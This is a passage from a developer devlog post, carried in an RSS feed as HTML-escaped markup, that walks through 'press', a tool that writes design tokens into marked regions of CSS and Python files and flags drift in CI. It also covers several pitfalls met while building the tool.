&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;p&gt;Create the two consumer files with their existing hand-written copies still in place, so you can watch the migration take them over. Note the parts of each file that have nothing to do with tokens; those are what you’re protecting.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; site&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; report&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; site/brand.css&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* The site&apos;s stylesheet. Mostly hand-written, medium-specific work. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;:root {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --paper: #F5F1E8;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --ink: #1A1A1A;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --sig: #FF6B35;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.masthead {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  background: var(--paper);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  color: var(--ink);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  border-bottom: 2px solid var(--sig);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* Hand-written and load-bearing: a whole-file sync would erase this. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.masthead__avatar {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  width: 44px;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  border-radius: 50%;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; report/brand.py&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;The report renderer&apos;s theme. Hand-written except for the token block.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;THEME = {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;paper&quot;: &quot;#F5F1E8&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;ink&quot;: &quot;#1A1A1A&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;accent&quot;: &quot;#FF6B35&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;def page_margins(paper_size):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Medium-specific work that has no business in a shared token file.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    return {&quot;letter&quot;: (54, 54), &quot;a4&quot;: (57, 51)}[paper_size]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; press.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; emit&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --init&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; site/brand.css&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The migration swallows each legacy block and leaves everything else alone:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;wrote  site-css  site/brand.css&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;wrote  report-py  report/brand.py&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* The site&apos;s stylesheet. Mostly hand-written, medium-specific work. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* &gt;&gt;&gt; tokens:vars v0.1.0 sha256:de15320eccba GENERATED, do not edit */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;:root {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --paper: #F5F1E8;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --ink: #1A1A1A;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --sig: #FF6B35;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --display: Inter, system-ui, sans-serif;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* &amp;#x3C;&amp;#x3C;&amp;#x3C; tokens:vars */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;.masthead {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  background: var(--paper);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  color: var(--ink);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  border-bottom: 2px solid var(--sig);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* Hand-written and load-bearing: a whole-file sync would erase this. */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;.masthead__avatar {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  width: 44px;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  border-radius: 50%;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The avatar rule survived, and &lt;code&gt;--display&lt;/code&gt; arrived even though the hand-written copy never had it. Now change a token without re-emitting, which is the thing you actually want CI to catch:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;sed&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -i&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;s/#FF6B35/#E8590C/&apos;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; tokens.json&lt;/span&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;   # GNU sed: drop the &apos;&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; press.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; check&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;exit: &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FAIL  site-css  region content differs from what the tokens produce&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          ... 3 identical lines&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        -   --sig: #FF6B35;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        +   --sig: #E8590C;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          ... 2 identical lines&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;FAIL  report-py  region content differs from what the tokens produce&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          ... 3 identical lines&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        -     &quot;accent&quot;: &quot;#FF6B35&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        +     &quot;accent&quot;: &quot;#E8590C&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          ... 2 identical lines&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;exit: 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;One token moved and both consumers reported it, in their own syntax, pointing at the exact line. &lt;code&gt;node press.mjs emit&lt;/code&gt; puts them back in sync and check returns 0. Then try the two failures that only exist because you wrote them: strip the marker comments out of &lt;code&gt;site/brand.css&lt;/code&gt; while leaving the values, and check reports &lt;code&gt;missing&lt;/code&gt; rather than passing. Run the same CLI in a directory where none of the target paths exist, and it reports that zero targets resolved instead of a clean green run.&lt;/p&gt;
&lt;p&gt;Those two statuses cost about six lines between them, and without either one the gate can report a clean run while inspecting nothing.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A sort key that’s quietly a filter.&lt;/strong&gt; You’ll want deterministic output ordering, and the natural way to get it is to iterate a list of known token names. The trap is that the list then decides membership too. Symptom: you add a value to the token file, no consumer ever receives it, and the checker still reports green because the emitter and the gate agree on the same wrong answer. The escape is to rank unknown names last rather than dropping them, and to pin a test asserting that a token absent from the order list still shows up in the output. This one was caught during the press migration itself.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generating the whole file eats hand-written work.&lt;/strong&gt; Whole-file generation looks cleaner until a consumer file has anything personal in it. Symptom: a hand-written block vanishes during a routine sync and nobody notices until it’s shipped, which is how a personal avatar footer disappeared from a card stylesheet before press existed. The escape is the region: own the block, never the file, and make the tool throw rather than append when the region is absent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The version in the marker is decoration until the checker compares it.&lt;/strong&gt; Writing a version into the start marker feels like it makes the region self-describing, but if &lt;code&gt;check&lt;/code&gt; compares only the body bytes then a region whose values happen to still be correct will pass at any age. This bit press directly: in-repo regions sat recording v0.1.0 through six subsequent releases with a green tick. The fix in 0.7.1 was to give a version mismatch its own status, &lt;code&gt;stale-version&lt;/code&gt;, separate from drift, so it reports and prints the re-emit command instead of silently passing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File presence is not repository identity.&lt;/strong&gt; Selecting targets by “does this path exist under the repo root” works fine until a target’s path is something every repository has. Symptom: press added &lt;code&gt;README.md&lt;/code&gt; targets in 0.7.0, and because &lt;code&gt;README.md&lt;/code&gt; exists everywhere, those targets selected inside any checkout and would have been compared against a completely unrelated file. The escape is to read the checkout’s own &lt;code&gt;origin&lt;/code&gt; remote and match it against the target’s declared repo, falling back to presence only when there is no remote, which is the case inside a test’s temp directory.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.ansible.com/projects/ansible/latest/collections/ansible/builtin/blockinfile_module.html&quot;&gt;ansible.builtin.blockinfile module&lt;/a&gt; — the marked-block pattern and why a marker without a &lt;code&gt;{mark}&lt;/code&gt; placeholder re-inserts instead of updating&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pkg.go.dev/cmd/go/internal/generate&quot;&gt;&lt;code&gt;go generate&lt;/code&gt; documentation&lt;/a&gt; — the &lt;code&gt;^// Code generated .* DO NOT EDIT\.$&lt;/code&gt; convention and its placement rule&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.hashicorp.com/terraform/cli/commands/plan&quot;&gt;Terraform &lt;code&gt;plan&lt;/code&gt; command&lt;/a&gt; — &lt;code&gt;-detailed-exitcode&lt;/code&gt; and the 0/1/2 split this gate’s exit codes follow&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.designtokens.org/tr/drafts/format/&quot;&gt;Design Tokens Format Module&lt;/a&gt; — the standardized JSON shape for tokens meant to move between tools&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(press): one brand system, generated into every consumer (0.1.0) (#115) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/3f3c26d1b3ddc7e5390468112a5bb170e123b7a8&quot;&gt;3f3c26d&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/press/v0.1.0.png" length="23862" type="image/png"/></item></channel></rss>